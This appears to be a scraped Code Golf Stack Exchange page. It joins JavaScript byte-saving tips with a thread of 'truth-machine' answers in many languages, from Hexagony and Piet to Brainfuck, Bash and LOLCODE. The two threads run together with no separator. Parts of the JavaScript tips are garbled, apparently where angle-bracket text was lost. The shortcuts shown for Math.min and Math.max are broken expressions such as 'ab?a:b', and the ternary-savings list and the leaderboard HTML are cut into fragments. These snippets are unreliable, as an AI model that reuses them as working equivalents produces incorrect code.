\n```\n Math Number String Array\nø toSource prototype prototype prototype\nù abs NaN quote join\nú acos POSITIVE_INFINITY substring reverse\nû asin NEGATIVE_INFINITY toLowerCase sort\nü atan MAX_VALUE toUpperCase push\ný atan2 MIN_VALUE charAt pop\nþ ceil MAX_SAFE_INTEGER charCodeAt shift\nÿ clz32 MIN_SAFE_INTEGER contains unshift\nĀ cos EPSILON indexOf splice\nā exp isFinite lastIndexOf concat\nĂ floor isInteger startsWith slice\nă imul isNaN endsWith filter\nĄ fround toInteger trim isArray\ną log parseFloat trimLeft lastIndexOf\nĆ max parseInt trimRight indexOf\nć min length toLocaleLowerCase forEach\nĈ pow name toLocaleUpperCase map\nĉ random arguments normalize every\nĊ round caller match some\nċ sin search reduce\nČ sqrt replace reduceRight\nč tan split \nĎ log10 substr \nď log2 concat \nĐ log1p slice \nđ expm1 fromCharCode \nĒ cosh fromCodePoint \nē sinh localeCompare \nĔ tanh length \nĕ acosh name \nĖ asinh arguments \nė atanh caller \nĘ hypot \nę trunc \nĚ sign \ně cbrt \nĜ E \nĝ LOG2E \nĞ LOG10E \nğ LN2 \nĠ LN10 \nġ PI \nĢ SQRT2 \nģ SQRT1_2 \n```\n[Answer]\nCombine nested for loops:\n```\n// before:\nfor(i=5;i--;)for(j=5;j--;)dosomething(i,j)\n// after:\nfor(i=25;i--;)dosomething(0|i/5,i%5)\n```\nExample with different values for `i`/`j`:\n```\n// before:\nfor(i=4;i--;)for(j=7;j--;)dosomething(i,j)\n// after:\nfor(i=28;i--;)dosomething(0|i/7,i%7)\n```\n[Answer]\nSneak variable initialization into the prompt() call for getting user input\n```\nn=prompt(i=5); // sets i=5 at the same time as getting user input\n```\ninstead of using\n```\nn=prompt();i=5;\n```\nAs a side-effect, it displays the input value in the prompt window while saving 1 character.\n[Answer]\n### Use `^` instead of `!=` or `==` when comparing to an integer\n```\n//x!=3?a:b\n x^3?a:b\n//x==3?a:b\n x^3?b:a\n```\n### Replace calls to built-in Math functions with shorter expressions\n```\n//Math.ceil(n)\n n%1?-~n:n\n//Math.floor(n)\n ~~n\n 0|n\n//Math.abs(n)\n n<0?-n:n\n//Math.round(n)\n n+.5|0\n//Math.min(x,y)\n xx*2)\n```\n[Answer]\n# Rounding\nI know that alternatives to `Math.floor()` have been posted, but what about the others?\n## Flooring:\n```\nMath.floor(x) //before\n0|x //after\n```\n## Rounding:\n```\nMath.round(x) //before\n0|x+.5 //after\n```\n## Ceiling:\n```\nMath.ceil(x) //before\nx%1?-~x:x //after - credits to @Tomas Langkaas\n```\n[Answer]\nUse a bitwise operation to round a number toward zero:\n```\n// do this\nT=Math.random()*6+1|0\n// or do this\nT=~~(Math.random()*6+1)\n```\n(Source: [Random dice tipping](https://codegolf.stackexchange.com/questions/958/random-dice-tipping/959#959))\n[Operator precedence](https://developer.mozilla.org/en/JavaScript/Reference/Operators/Operator_Precedence) determines which will be shorter in your program.\n[Answer]\n**Looping Tip I**\nYou can save `1` character when looping by changing the `i` on the last time used:\n```\n//not so god\nfor(i=0;i<3;i++){\n alert(i);\n}\n//best\nfor(i=0;i<3;){\n alert(i++);\n}\n```\n**Note:** works with `--` too (but modify the loop accordingly to avoid infinite looping)\n---\n**Looping Tip II**\nThere are certain scenarios where you can save one character by playing with the incrementing operator and values:\n```\nfor(i=0;i++<9;)\nfor(i=0;++i<10;)\n```\n**Note:** you need to pay attention when for example `0 to -1`. and `9 to 10, 99 to 100`, so play around until you find a way to save the character\n[Answer]\nVery simple one, even so, no one had mentioned it.\nIf you're using `Math.min()` or `Math.max()` you can save 6 chars by doing this:\n```\nMath.min(a,b) // 13 chars\nab?a:b\n```\n[Answer]\n### Free commas!\nOften you'll want to include a comma in a string, perhaps like so:\n```\nf=(x,y,z)=>x+\",\"+y+z\n```\nBy abusing the string representation of arrays, this can be shortened by two bytes:\n```\nf=(x,y,z)=>[x,y]+z\n```\nThis particular instance only works if you have three variables you want to concatenate as shown. You can use the same trick with two, but you need to be careful. There are three variants you might try:\n```\nf=(x,y)=>[x,y]\nf=(x,y)=>[x,]+y\nf=(x,y)=>x+[,y]\n```\nThe first one will return an actual array rather than a string, which defeats the purpose. The second one *looks* like it will work, but in fact most modern browsers will remove the trailing comma when parsing the array. The third one will work though, at the same byte count as the second.\n---\nTo put this to good use, say you have a function which creates the range `[0...n]`:\n```\nf=x=>x?[...f(x-1),x]:[0]\n```\nIf returning a string with a separator is allowed, you might do something like this, saving a few bytes:\n```\nf=x=>x?f(x-1)+\" \"+x:0\n```\nHowever, you can save another byte with an array literal:\n```\nf=x=>x?f(x-1)+[,x]:0\n```\nNote that depending on how you arrange the recursion, you may end up with a leading or trailing separator, so you'll need to make sure your output format is allowed by the challenge.\n[Example usage](https://codegolf.stackexchange.com/a/113056/42545)\n[Answer]\n# Prefer `.map` over `.reduce`\nConsider the following code for summing an array:\n```\na.reduce(function(x,y){return x+y})\n```\nPretty long, right? What if I told you that you could get rid of the `return`? Well, you can:\n```\na.map(function(x){t+=x},t=0) // 7 bytes saved\n```\n(Although an even shorter way is `eval(a.join(\"+\"))`.)\nHow about reducing by multiplication, where you have to specify the starting number anyway?\n```\na.reduce(function(x,y){return x*y},1) // Looooong\na.map(function(x){t*=x},t=1) // An easy 9 bytes shorter\n```\n(Again, `eval(a.join(\"*\"))` works as well.)\nHere, let's try one that doesn't work with `eval(a.join())`:\n```\na.reduce(function(x,y){return x+f(y)})\na.map(function(x){t+=f(x)},t=0)\n```\nNote that this doesn't work *quite* as well with ES6, although it's still a little shorter:\n```\na.reduce((x,y)=>x+f(y))\na.map(x=>t+=f(x),t=0)\n```\n**Note:** in all of the `.map` versions, you will need to call `t` afterwards to get the actual value.\n[Answer]\n## Converting an array of strings into numbers\nTake the array `[\"32\", \"0x30\", \"0o10\", \"7.642\", \"1e3\"]`. The simple way to convert this to numbers would be `.map(n=>+n)` or `.map(Number)`.\nHowever, assuming you know everything is a valid number, you can simply use `.map(eval)`, saving at least a byte.\n[Answer]\nSomething worth noting is that you can use a string in place of zero in some instances to save a couple of bytes here and there in loops:\n```\ns='';for(i=0;i++<9;)s+=i\nfor(i=s='';i++<9;)s+=i\n// s=\"123456789\", i=10\n```\n[Answer]\n**How to compare a number with help of how numbers turn into booleans:**\nIf you are going to check if something is equal to a *positive number*, you can subtract that amount and reverse what was inside the `if` and `else` blocks:\n```\n//simplified examples:\nx==3?\"y\":\"n\"; <- 13 Chars\nx-3?\"n\":\"y\"; <- 12 Chars\n//expanded examples:\nif(x==3){\n yes();\n}else{\n no();\n}\nif(x-3){\n no();\n}else{\n yes();\n}\n```\nAnd in case you are wanting to compare with a *negative number* (\\*different than `-1`), you just simply need to *add* this number instead of subtracting.\n\\*well, you can surely use `x.indexOf(y) + 1`, but in the special case of `-1` you have the opportunity to use `~x.indexOf(y)` instead.\n[Answer]\nIn cases where you are using the ternary operator to chose between two *numbers*, and the conditional is either a *boolean* or *number* `1 or 0`, you can do math operations instead:\n```\n(x ? num1 : num2) conclusions:\n 1)if num1 equals num2, there ARE savings\n 2)if num1 is (+1) or (-1) than num2, there ARE savings\n 3)if either num1 or num2 equals to 0, there ARE savings\n 4)it is MORE LIKELY to find greater savings on num1>num2 instead of num1num2\n i)(num1==(num2+1))\n ex1: (x?5:4) to (x+4)\n ex2: (x?8:7) to (x+7)\n ii)num2==0\n ex1: (x?3:0) to (x*3)\n ex2: (x?7:0) to (x*7)\n iii)\n (*A) or (*B) //one might be shorter\n b)num1104 101 96 bytes\n```\nIf there you want to include multiple numbers in your header (e.g. because your score is the sum of two files or you want to list interpreter flag penalties separately), make sure that the actual score is the *last* number in the header:\n```\n## Perl, 43 + 2 (-p flag) = 45 bytes\n```\nYou can also make the language name a link which will then show up in the snippet:\n```\n## [><>](http://esolangs.org/wiki/Fish), 121 bytes\n```\n```\n

Shortest Solution by Language

LanguageUserScore

Leaderboard

AuthorLanguageSize
{{PLACE}}{{NAME}}{{LANGUAGE}}{{SIZE}}Link
{{LANGUAGE}}{{NAME}}{{SIZE}}Link
\n```\n \n[Answer]\n# [Hexagony](https://github.com/mbuettner/hexagony), 6 bytes\nThis was surprisingly tricky, ~~and I'm not convinced it's optimal...~~\n```\n<.@!$?\n```\nAfter padding and unfolding the code, this represents the following hex grid:\n[![enter image description here](https://i.stack.imgur.com/6Q3Y4.png)](https://i.stack.imgur.com/6Q3Y4.png)\nThis uses a similar control flow [like my recent error-free cat program](https://codegolf.stackexchange.com/a/62306/8478), moving along anti-diagonals. To achieve that we start by deflecting the instruction pointer (IP) to the left, where the purple path wraps around to the lower left corner.\n`?` reads the input as an integer. `!` prints it back. `.` is just a no-op. Now the corner of the grid acts as a branch:\nIf the input was `0`, the IP will continue along the red path, which simply terminates the program with `@`.\nIf the input was `1`, the IP will continue on the green path. Again, `.` is just a no-op, but `$` is the equivalent of Befunge's trampoline: it skips the next instruction. After wrapping, the next instruction would be the `?`, but due to `$` execution actually continues on the blue path, starting with `!` to print another copy of the `1`. This loop which only contains `!..$` is now repeated indefinitely.\n### A study of control flow in Hexagony...\nI believe the above solution is optimal. I've written a brute forcer, which checks all 6-byte Hexagony programs, which contain at least one each of `?!@` (which are necessary; I've also checked `:` and `%` in place of `@` to terminate with a division-by-zero error, but that didn't help either). The check prints all the programs which a) produce a `0` on input `0` and terminate and b) produce at least two `1`s (and nothing else) and *don't* terminate within the first 60 ticks of the program (200 ticks for 5-byte solutions). I doubt that any valid solution would take more than 200 ticks to correctly print the first `0` or the second `1` on such a small grid, so I don't think I've missed out on any potential solutions.\nThe search didn't yield any results for 5 bytes, but 57 results for 6 bytes (using `@`; there's no need to terminate with an error if we can solve this cleanly in the same amount of bytes). Of those 57 only 6 were false positives which actually printed only two `1`s and then entered an infinite loop without printing any more. One solution was listed twice because it contained two `!` commands. That leaves exactly 50 valid solutions.\nThere is a certain amount of degeneracy between the solutions where one or two characters are not substantial, e.g. because they're effectively no-ops anyway. The solutions can be grouped into 23 sets of genuinely distinct programs (in some cases, there is only a single character difference between two sets, but it changes the control flow substantially, so I've counted them separately). Two of the groups even make use of multiple instruction pointers in a very unexpected way. As I would never have come up with most of these ways to use the branches and mirrors, they make a very interesting study of what sorts of control flow are possible in Hexagony, and I have definitely learned some new tricks for future golfs.\nThe *overall* control flow is almost always the same: read a number, print it. If it's `0` find a way to the `@`, if not keep looping through the `!` while mainting an edge value of `1`. There are four notable exceptions:\n* One solution (the one with two `!`) prints two `1`s per iteration through the grid, therefore printing about twice as fast as the majority of programs. I've marked this one with `x2` below.\n* A few solutions (those which contain an `o`) replace the `1` with a `111` (the character code of `o`), so they print *three* `1`s per iteration, making them print about three times as fast as the majority of programs. I've marked these with `x3` below.\n* Two solutions *append* a `1` to the edge value in each iteration (so `1` --> `11` --> `111` --> ...). Those print *very* fast, but they'll run out of memory eventually. I've marked these with `OoM` below.\n* Two solutions enter a very tight loop which merely bounces back and forth over the `!`, printing on every other tick (instead of of every 5th or so), which makes them slightly faster (and neater). I've marked these with `><` below.\nSo here is the entire zoo:\n```\n#1 #5 #12 #19\n?!/$.@ ?$!>$@ .?!/$@ |!|?$@ # ><\n?!/$1@ # OoM ?$!|$@ =?!/$@\n?!/$=@ #20\n?!/$\\@ #6 #13 $@.?$)@ \\!?__@ #21\n?!>$1@ #8 _>_!?@\n?!>$o@ # x3 ?$@ # >< #15\n?!|$)@ \\_?!$@ #22\n?!|$1@ #9 ?$1\\@! <<@]!?\n ?$o\\@! # x3\n```\nThe following is a short walkthrough for a handful of the more representative groups. Especially groups 10 and 23 are worth checking out. There are many other interesting and sometimes convoluted paths in the other groups, but I think I've bored you enough at the end of this. For anyone who really wants to learn Hexagony, these are definitely worth investigating though, as they exhibit even more possible uses of the mirrors and `$`.\n**Group 1**\nThis one isn't much more elaborate than my original solution, but the paths go in different directions. It also allows for the largest number of variations in a single cell, as the right-most no-op can be replaced with 5 different commands which still make this valid without changing the structure:\n[![enter image description here](https://i.stack.imgur.com/Tm3rR.png)](https://i.stack.imgur.com/Tm3rR.png)\n**Group 2**\nThis one is quite interesting, because it only moves horizontally. After wrapping to the `>`, the IP reverses immediately, taking the branch in the corner. It's not entirely well visibly no the diagram, but in the case of the `1` we traverse the first row again, but backwards this time. This also means we run into `?` again, which now returns `0` (EOF). This is fixed with `)` (increment) to keep printing `1`s. This also has 5 variations, as `)` could also be `1` or `o`, and `>` could also be `|`:\n[![enter image description here](https://i.stack.imgur.com/0szdq.png)](https://i.stack.imgur.com/0szdq.png)\n**Group 3**\nThis one looks almost identical to the previous one but it's messy as hell. Up to hitting `|` and then traversing the bottom or top row it's the same. But in the case of a loop, the `$` now skips over the `)` *onto* the mirror. So we follow the turquoise path to the right, now hit the increment, skip over the `@` before we wrap around to the `|` *again* and *then* go back to the green path at the top.\n[![enter image description here](https://i.stack.imgur.com/tY4Up.png)](https://i.stack.imgur.com/tY4Up.png)\n**Group 4**\nI thought this one was particularly nifty:\n[![enter image description here](https://i.stack.imgur.com/MlEZV.png)](https://i.stack.imgur.com/MlEZV.png)\nThe `_` mirror in the top right corner is initially a no-op, so we print with `!` and hit the `<`. The `0` path now hits the horizontal mirror and terminates. The `1` path takes a really interesting trajectory though: it deflects down, wraps to the `!`, gets redirected towards the horizontal and then wraps back to the `!` *again*. It then keeps moving in this rhombus shape, printing twice per iteration (every third tick).\n**Group 8**\nThis is one of the two solutions with a really tight printing loop:\n[![enter image description here](https://i.stack.imgur.com/C5egM.png)](https://i.stack.imgur.com/C5egM.png)\nThe `<` acts as the branch. After wrapping twice, `0` hits `@`. `1` on the other hand, first skips the `?`, then `>` sends it onto the the `$` again, so that is skips the `@`. Then the IP wraps into the turquoise path, where it bounces back and forth between the `>` and `<` (wrapping around the edge in between).\n**Group 10**\nOne of two groups which use other instruction pointers, and it's absolutely beautiful. Hexagony has 6 - each one starts from a different corner along the clockwise edge, but only one of them is active at a time.\n[![enter image description here](https://i.stack.imgur.com/j7ZeZ.png)](https://i.stack.imgur.com/j7ZeZ.png)\nAs usual, we read with `?`. Now `~` is unary negation: it turns the `1` into a `-1`. Next, we hit the `#`. This is one way to switch between IPs: it takes the current edge value modulo 6 and switches to the corresponding IP (IPs are numbered from `0` in the clockwise direction). So if the input was `0`, then the IP simply remains the same, and travels boringly straight ahead into `!@`. But if the input was `1`, then the current value is `-1` which is `5 (mod 6)`. So we switch to the IP which starts on the very same cell (the green path). Now `#` is a no-op and `?` sets the memory edge to `0`. `)` increments so `!` prints a `1`. Now we hit `~` again to ensure that `#` is still a no-op (as opposed to switching us to IP 1 which would terminate the program). It's mindblowing how well everything fits together in this little program.\n**Group 22**\nJust to note, this is the group my original solution is in. It also happens to be largest group, because the no-op can be in two different places, and there are several choices for the actual (effective no-op) command.\n**Group 23**\nThis is the other group using multiple IPs. In fact this one uses *3* different IPs. The top right corner is a bit of a mess, but I'll try to walk you through this:\n[![enter image description here](https://i.stack.imgur.com/LxAc6.png)](https://i.stack.imgur.com/LxAc6.png)\nSo, the beginning you've seen before: `<` deflects North-East, `?` reads input. Now `]` is another way to change between IPs: it hands control to the next IP in clockwise order. So we switch control to the turquoise path which (I know it's hard to see) starts in the North-East corner going South-East. It is immediately reflected by the `<` so that it wraps to the South-East corner, going North-West. It *also* hits the `]` so we switch to the *next* IP. This is the grey path starting in the East corner, going South-West. It prints the input, then wraps to the North-East corner. `<` deflects the path into the horizontal, where it is reflected by the *other* `<`. Now the right-hand `<` acts as a branch: if the input was `0`, the IP moves North-East, and wraps to the `@`. If the input was `1`, the IP moves to the `!`, wraps to the lef-thand `<` where it is reflected... now in the corner, it wraps back to the `!`, gets deflected by the the right `<`, reflected by the left `<` and the paths starts over...\nQuite a mess, but a beautiful mess. :)\n---\nDiagrams generated with [Timwi's](https://codegolf.stackexchange.com/users/668/timwi) amazing [HexagonyColorer](https://github.com/Timwi/HexagonyColorer).\n[Answer]\n# [Motorola MC14500B](https://en.wikipedia.org/wiki/Motorola_MC14500B) Machine Code, 2 bytes\nIn hex:\n```\n58EC\n```\nExplanation:\n```\n5 OR the register with input from the data bus\n8 Write the register to the data bus\nE Skip next instruction if register is zero\nC Jump\n```\nThe Motorola MC14500B is a 1-bit microcontroller; it has one 1-bit register and a 1-bit data bus. Since the opcodes are 4 bits each, there are only sixteen; half of them carry out a logical operation between the register and the bit on the data bus.\nThe jump instruction sets a jump flag; when no address is provided, it is common to set the program counter to 0. If the input bit was zero, the processor will not jump. If the input bit was 1, the processor jumps back to the start; since we're `OR`ing with input, it doesn't matter what the input signal is afterwards—the register will then be 1 forever.\nAs is conventional, the register is initialized to 0.\nA list of the opcodes can be found on the data sheet, or [here](https://www.brouhaha.com/%7Eeric/retrocomputing/motorola/mc14500b/).\n[Answer]\n## Arnold C, 296 Bytes\n```\nIT'S SHOWTIME\n HEY CHRISTMAS TREE i \n YOU SET US UP @NO PROBLEMO\n BECAUSE I'M GOING TO SAY PLEASE i\n STICK AROUND i\n TALK TO THE HAND i\n CHILL\n BULLSHIT\n TALK TO THE HAND i\n YOU HAVE NO RESPECT FOR LOGIC\nYOU HAVE BEEN TERMINATED\n```\nNot really competitive, but for the fun of it.\nDoes not support stdin, replace `@NO PROBLEMO` with `@I LIED` for a zero value. `@No Problemo` is 1.\nRun with (assuming file is truthmachine.arnoldc):\n```\nwget http://lhartikk.github.io/ArnoldC.jar\njava -jar ArnoldC.jar truthmachine.arnoldc\njava truthmachine\n```\n[Answer]\n# Minecraft, 18 Bytes (MC Version 15w45a)\n[![minecraft sketch](https://i.stack.imgur.com/A5eP4.png)](https://i.stack.imgur.com/A5eP4.png)\nAs you can see, there is a lever directed into the repeating command block, which has the command `say 1` in it. There is an signal inverting torch on top of that, which directs power into the single-run command block with the command `say 0` in it.\nWhenever the switch is directed towards truthy, the repeater block uses the code `say 1` to output infinite `1`s. When the lever is redirected to false, it outputs a single `0`.\nNote that this outputs a `[@]` by default. If you *really* want just straight up 1s and zeros, this becomes 34 bytes, where the code in the command blocks are `tellraw @a [1]` and `tellraw @a [0]`. This is using @Cᴏɴᴏʀ O'Bʀɪᴇɴ's suggested byte count for MC [as can be found in Meta](https://codegolf.meta.stackexchange.com/a/7397/44713).\n[Answer]\n# Bash + GNU utils, 13\n```\ngrep 0||yes 1\n```\n---\n# Bash, 35\n```\nread n;for((;n;));{ echo 1;};echo 0\n```\n[Answer]\n# Microscript, 3 bytes\n```\ni{p\n```\nThe shortest one I know.\nExplanation:\n```\ni Takes numeric input and puts it in register 1\n{ while register 1 is truthy\n p Print the contents of register 1\n```\nMicroscript has implicit printing of register 1 upon termination, which is the reason why an input of `0` gets printed once.\n[Answer]\n# Ruby, 20\n```\nprint while/1/||gets\n```\nRun from the command line to avoid warnings, as\n```\nruby -e \"print while/1/||gets\" <<< 0\nruby -e \"print while/1/||gets\" <<< 1\n```\nExplanation:\nLess golfed, this is\n```\nwhile /1/ || gets\n print\nend\n```\nWhen a Regexp is used in a conditional, it evaluates as falsey unless the variable `$_` is populated and matches the pattern. On the first time through the loop, `$_` is empty so we fall through to `gets`, which sets the value of `$_` to a line read from STDIN. `print` with no arguments prints `$_`. Now we evaluate the conditional again. If we read in 1, we short-circuit and just print 1 again, and so on forever. Otherwise, we fall through to `gets`, but since there's no second line of input, `gets` returns nil, so the loop ends.\n[Answer]\n# Turing Machine Code, ~~32~~ 22 bytes\nUsing the rule table syntax found [here.](http://morphett.info/turing/turing.html)\n```\n0 0 0 * halt\n0 * 1 r 0\n```\n[Answer]\n## Python 2, 29 bytes\n```\na=input()\nwhile 1:print a;1/a\n```\nThis terminates with a division error on `0`, which is [allowed by default](https://codegolf.meta.stackexchange.com/a/4781/20260).\n[Answer]\n# JavaScript, 28 bytes\n[For loops are often shorter than while loops.](https://codegolf.stackexchange.com/a/2695/45393)\n`alert(x)` returns `undefined`, which is falsy, so the bitwise or operator, `|`, casts it to `0`. Thus, if `x` is `\"0\"`, alert once, otherwise keep looping. Uses `alert` for STDOUT like [this answer](https://codegolf.stackexchange.com/a/62742/45393).\n```\nfor(x=prompt();alert(x)|x;);\n```\n[Answer]\n# Brainfuck, ~~41~~ ~~36~~ ~~31~~ 30 bytes\nShortened by printing once right after input and with help from Ethan and user46915.\n```\n,.+++[->>+<-----<]>>---<-[>.<]\n```\nPrevious version: Subtract 48 from the input, and if it's not zero, add 1 to the 48 to print ASCII `1` forever, otherwise print `0`.\n```\n-[>+<-----]>--->,<[->->+<<]>[>+<]>.<[>.<]\n```\nI ran it [**here**](http://esoteric.sange.fi/brainfuck/impl/interp/i.html), but due to buffered output, you cannot see any output since the program never terminates on `1`.\nEdit: I had forgotten to print `0` on input `0`. Fixed now. I like the `>.<` faces at the end.\n[Answer]\n# Pyth, ~~4~~ ~~3~~ 2\n```\nWp\n```\nThere is ~~a~~ no! trailing space (thanks isaac :) ). The space used to be required to make the while loop compile, but Pyth has since been updated. Normally that would disqualify using it, but since this is a catalog it should be valid.\n### Explanation:\n```\nWp : implicit Q = eval(input)\nW : while\n p : print and return the value of Q, to be evaluated as the while condition\n : Functions without enough arguments automatically use Q now\n : do nothing in the body of the while loop\n```\n[Answer]\n# Piet, 27 18 16 codels\n(Codel is a fancy name for pixel used to avoid confusion when an image is stretched for viewing. I counted codels instead of bytes because piet scripts are saved as images, so the physical size may vary. I think an ideal file format that would save this piet as efficiently as possible would take 11 bytes. In practice, my tiny gif file is 62 bytes, with optimal palette data. Tell me if I should use this as the size of my entry instead of the codel amount.)\nOriginal image: [![tiny version](https://i.stack.imgur.com/R9SOq.gif)](https://i.stack.imgur.com/R9SOq.gif)\nEnlarged: [![enlarged version](https://i.stack.imgur.com/5T9WW.png)](https://i.stack.imgur.com/5T9WW.png)\nIn piet, the difference between two colors is what determines which command runs, so seeing the same color twice doesn't mean it does the same action. The execution begins in the top-left codel. Then it moves horizontally, performing the following:\n1. Read a number and put it on the stack\n2. Duplicate the top of the stack\n3. Pop and output the top of the stack\n4. Pop the top of the stack and rotate clockwise that number of times.\nIf the input was 1, the cursor then moves down into the lime codel, which pushes 1 on the stack. Then the execution continues going left. When the cursor passes from a color to white and from white to a color, nothing happens. Since black is considered as walls too, the cursor ends up going back to the lime codel on the top line, and repeats the whole thing from step 2.\nIf, however, the input was 0, the cursor will never go down and will end up in the blue J on the right (pun intended, it was worth it), were it will stay trapped (because the top, right, left and bottom sides of this J-shaped block are next to black codels or the edge of the image). Since the cursor is trapped, execution ends.\n**Unexpected values:** \nIf the user writes another number, it will still be printed, then the cursor will rotate more or less times based on the value.\n* Multiple of 4 or 0: execution continues horizontally and ends.\n* Multiple of 3: Since going up is impossible, the cursor immediately rotates clockwise and continues horizontally, then ends.\n* Multiple of 2 and not a multiple of 4: the cursor rotates and starts moving to the left. Luckily, all this does is perform a bunch of operations that don't affect the program flow and end up emptying the stack. When an operation can't be done because the stack is empty, it is simply ignored. When it hits the top left corner, the cursor has nowhere else to go but to the right again, effectively restarting the program.\n* Other values: The cursor goes down as if it would with 1, which makes it print 1 forever. If the input is 5, the output will be `5111111111111...`\nAny non-integer value will terminate the program. Execution will continue normally, but all operations will be ignored since there is nothing in the stack. So in a way, the program never crashes - it either stops normally or loops forever.\n---\n**PietDev friendly version**\nPietDev (a very basic online Piet IDE) seems to have trouble with white codels so I made a new version which manually rotates back up instead of relying on proper white codel automatic rotation. And I didn't even need to use a new color! If you want to test with it, make sure you draw a black border around the code because PietDev doesn't support custom program sizes.\n[![tiny version](https://i.stack.imgur.com/dSkIn.gif)](https://i.stack.imgur.com/dSkIn.gif)\n[![enlarged version](https://i.stack.imgur.com/pP6qn.gif)](https://i.stack.imgur.com/pP6qn.gif)\n---\n**Older versions**\nThe first version didn't push 1 back on the stack and instead looped back to an earlier duplication instruction. It also had decorative useless codels.\n[![Tiny pattern which is actually a piet code](https://i.stack.imgur.com/xGoGM.png)](https://i.stack.imgur.com/xGoGM.png)\n[![Enlarged version](https://i.stack.imgur.com/50aw2.png)](https://i.stack.imgur.com/50aw2.png)\nThen I had the idea to push 1 on the stack to remove the blank line. It's funny how I thought of it thanks to my decorative codels.\n[![tiny version](https://i.stack.imgur.com/K8JeP.gif)](https://i.stack.imgur.com/K8JeP.gif)\n[![large version](https://i.stack.imgur.com/N7l8K.gif)](https://i.stack.imgur.com/N7l8K.gif)\nThen I realized I had an extraneous dup that wasn't needed anymore, and I reduced the number of colors to save up on palette data in the image. I also got rid of the single decorative codel because I don't know.\n[Answer]\n# [Chip](https://github.com/Phlarx/chip), 6 bytes\n```\ne*faAs\n```\nChip is a 2D language that behaves a bit like an integrated circuit. It takes input, one byte at a time, and breaks out the bits to individual input elements. Output stitches the values of output elements back together into bytes.\nLet's break this down:\n`*` is a source signal, it will send a true value to all adjacent elements.\n`e` and `f` correspond to the fifth and sixth bit of the output.\nSo, `e*f` produces binary `00110000`, which is ASCII char \"0\".\nNow, `A` is the first bit of input and `a` is the first bit of output, so `aA` copies that bit from input to output. So, when combined with `e*f`, an input of ASCII \"0\" produces \"0\", and \"1\" produces \"1\". (There is no interaction between `f` and `a`, since neither produce any signal.)\nThe `s` on the end, when activated by a true signal, will prevent input from advancing to the next byte, meaning that the whole thing will run again with the same input.\nSince the first byte of \"0\" is zero, it won't activate this element and the program will print \"0\", and thereby exhaust its input, which allows it to terminate. \"1\", however, activates this element, which means that \"1\" is output, but not consumed on the input, allowing the cycle to repeat indefinitely.\nIf values 0x0 and 0x1 are used for output, rather than ASCII, we can eliminate the `e*f` part, resulting in only **3 bytes**:\n```\naAs\n```\nIf the zero must terminate itself, rather than expecting stdin to close, we get the following, which inverts the first byte with `~`, and passes the result to `t`, which terminates the program (**10 bytes**):\n```\naA~te*f\n s\n```\n(`t` also produces no signal, so there is no interaction between `t` and `e`.)\n[Answer]\n# [Brainbool](https://esolangs.org/wiki/Brainbool), 5 bytes\n```\n,.[.]\n```\nBrainbool is Brainfuck, but it only operates on bits, and does I/O through `0` and `1` characters.\n[Answer]\n# LOLCODE, 119 bytes\n```\nGIMMEH n\nn R SUM OF n AN 0\nBOTH SAEM n AN 0, O RLY?\nYA RLY\n VISIBLE 0\nNO WAI\n IM IN UR l\n VISIBLE 1\n IM OUTTA UR l\nOIC\n```\nUngolfed:\n```\nHAI\nBTW, Read n as a string from STDIN and convert to an integer\nGIMMEH n\nn R SUM OF n AN 0\nBTW, Test n for equality with 0\nBOTH SAEM n AN 0, O RLY?\nYA RLY\n BTW, Write 0 to STDOUT and exit\n VISIBLE 0\nNO WAI\n BTW, Loop forever, printing 1\n IM IN YR l\n VISIBLE 1\n IM OUTTA YR l\nOIC\nKTHXBYE\n```\n[Answer]\n# [Bitwise Cyclic Tag](http://esolangs.org/wiki/Bitwise_Cyclic_Tag), 3 bits or < 1 byte\nBitwise Cyclic Tag is one of the simplest Turing-complete languages out there. It works with two bitstrings, the *program* and the *data*. The bits of the *program* are read cyclically and interpreted as follows:\n* `0`: Delete the first data bit (and output it, in implementations that have output).\n* `1x`: If the first data bit is `1`, append `x` (representing either `0` or `1`) to the end of the data. (If the first data bit is `0`, do nothing.)\nThe program runs until the data string is empty.\n### Truth-machine\n```\n110\n```\nWhen the data string is set to `0`:\n* `11` does not append anything because the first data bit is not `1`.\n* `0` deletes/outputs `0`.\n* The data string is now empty and the program halts.\nWhen the data string is set to `1`:\n* `11` appends a `1`.\n* `0` deletes/outputs `1`.\n* The data string is back to a single `1` and the program is back to where it started, so we loop forever.\n[Answer]\n## [Labyrinth](https://esolangs.org/wiki/Labyrinth), 7 bytes\n```\n ?+\n@!:\n```\nLabyrinth is a 2D stack-based language where control flow depends on the sign of the top element of the stack, checked after every instruction. Execution begins moving rightward from the first valid instruction on the top row, which here is the `?`.\nThe relevant instructions are:\n```\n? Input integer\n+ Add top two elements (Labyrinth's stack has infinite 0s on the bottom)\n: Duplicate top element\n! Output as number\n@ Terminate program\n```\nIf the input is 0, the IP reads input with `?`, adds the top two of the stack (`0 + 0 = 0`), then duplicates `:` and outputs `!` a 0. Here we encounter the sole junction in the program, and have to check the top of the stack to determine where to go. Since the top is 0, we move forward and terminate with `@`.\nOn the other hand, if the input is 1, we do the same instruction as before (but outputting a 1) before reaching the junction at the `!`. Now the top of the stack is positive, causing us to turn right into the `?`. On EOF Labyrinth pushes 0, so we do `0 + 1 = 1` at the `+`, duplicate `:`, and output `!`. Once again we have a 1 at the top of the stack and the loop continues.\nFor a bonus, here's @MartinBüttner's 7 byte solution, which operates similarly:\n```\n?+!@\n1!\n```\nNote that, unlike most languages, `1` actually pops `n` off the stack and pushes `n*10 + 1`, making the building up of large numbers easy. However, since the top of the stack is empty at that point, it's no different from merely pushing 1.\n[Answer]\n## C, 37 bytes\nA different take on how to do it in C.\n```\nmain(c){for(gets(&c);putchar(c)&1;);}\n```\n`c` defaults to an `int` of value 1. `gets(&c)` gets a string from `stdin`, here clobbering the value of `c`, hackishly since `c` is not a `char*`. `putchar(c)` prints the value of `c` to `stdout`, and returns `c`. Since `'0'` is 48 and `'1'` is 49 in ASCII, we can use the last bit (`&1`) to determine which it is. If it's `'0'`, the loop breaks. Otherwise, it goes forever.\nCompiles (with a warning about `gets`) and runs under `gcc-4.8` on Linux.\n[Answer]\n## [><>](https://esolangs.org/wiki/Fish), 7 bytes\n```\ni2%:n:,\n```\nThis uses the fact that ><> pushes -1 on EOF, which is 1 mod 2. It also uses divide by 0 for termination (which is apparently okay since the consensus is that STDERR output is ignored).\nJust for reference, exiting cleanly without errors is an extra byte:\n```\ni2%:n?!;\n```\n[Answer]\n# [><>](http://esolangs.org/wiki/Fish), 6 bytes\n```\n::n?!;\n```\nPushes the input on the stack to start\n```\n: copy top element on stack\n : copy top element on stack again\n n pop and outputs top element\n ? condition trampoline - pops top element, if it is zero skips next instruction\n ! trampoline skips next instruction\n ; finish 